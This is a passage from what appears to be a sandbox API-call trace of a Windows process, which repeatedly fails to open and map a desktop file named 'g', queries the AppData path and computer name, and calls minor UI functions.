lpName="T") returned 0x0 [0189.123] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.124] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.124] CloseHandle (hObject=0x0) returned 0 [0189.124] CloseHandle (hObject=0xffffffff) returned 1 [0189.124] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.124] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.124] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.124] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.124] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.124] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.124] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.124] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.124] CloseHandle (hObject=0x0) returned 0 [0189.124] CloseHandle (hObject=0xffffffff) returned 1 [0189.124] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.124] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.124] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.124] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.124] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.124] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.124] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.124] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.125] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.125] CloseHandle (hObject=0x0) returned 0 [0189.125] CloseHandle (hObject=0xffffffff) returned 1 [0189.125] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.125] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.125] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.125] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.125] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.125] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.125] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.125] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.125] CloseHandle (hObject=0x0) returned 0 [0189.125] CloseHandle (hObject=0xffffffff) returned 1 [0189.125] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.125] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.125] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.125] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.125] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.125] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.125] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.125] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.126] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.126] CloseHandle (hObject=0x0) returned 0 [0189.126] CloseHandle (hObject=0xffffffff) returned 1 [0189.126] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.126] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.126] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.126] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.126] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.126] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.126] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.126] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.126] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.126] CloseHandle (hObject=0x0) returned 0 [0189.126] CloseHandle (hObject=0xffffffff) returned 1 [0189.126] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.126] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.126] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.126] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.126] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.126] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.126] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.127] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.127] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.127] CloseHandle (hObject=0x0) returned 0 [0189.127] CloseHandle (hObject=0xffffffff) returned 1 [0189.127] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.127] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.127] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.127] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.127] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.127] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.127] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.127] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.127] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.127] CloseHandle (hObject=0x0) returned 0 [0189.127] CloseHandle (hObject=0xffffffff) returned 1 [0189.127] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.127] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.127] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.127] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.127] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.128] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.128] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.128] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.128] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.128] CloseHandle (hObject=0x0) returned 0 [0189.128] CloseHandle (hObject=0xffffffff) returned 1 [0189.128] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.128] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.128] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.128] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.128] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.128] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.128] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.128] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.128] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.128] CloseHandle (hObject=0x0) returned 0 [0189.128] CloseHandle (hObject=0xffffffff) returned 1 [0189.128] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.129] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.129] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.129] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.129] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.129] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.129] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.129] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.129] CloseHandle (hObject=0x0) returned 0 [0189.129] CloseHandle (hObject=0xffffffff) returned 1 [0189.129] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.129] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.129] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.129] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.129] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.130] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.130] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.131] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.131] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.131] CloseHandle (hObject=0x0) returned 0 [0189.131] CloseHandle (hObject=0xffffffff) returned 1 [0189.131] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.131] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.131] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.131] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.131] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.131] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.131] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.131] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.131] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.131] CloseHandle (hObject=0x0) returned 0 [0189.131] CloseHandle (hObject=0xffffffff) returned 1 [0189.131] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.132] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.132] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.132] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.132] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.132] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.132] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.132] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.132] CloseHandle (hObject=0x0) returned 0 [0189.132] CloseHandle (hObject=0xffffffff) returned 1 [0189.132] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.132] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.132] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.132] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.132] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.132] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.132] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.133] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.133] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.133] CloseHandle (hObject=0x0) returned 0 [0189.133] CloseHandle (hObject=0xffffffff) returned 1 [0189.133] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.133] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.133] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.133] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.133] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.134] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.134] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.134] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.134] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.134] CloseHandle (hObject=0x0) returned 0 [0189.134] CloseHandle (hObject=0xffffffff) returned 1 [0189.134] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.134] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.134] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.134] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.134] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.134] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.134] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.134] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.134] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.134] CloseHandle (hObject=0x0) returned 0 [0189.134] CloseHandle (hObject=0xffffffff) returned 1 [0189.134] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0189.134] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0189.134] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0189.134] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0189.134] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0189.135] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0189.135] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0189.135] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0189.135] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0189.135] CloseHandle (hObject=0x0) returned 0 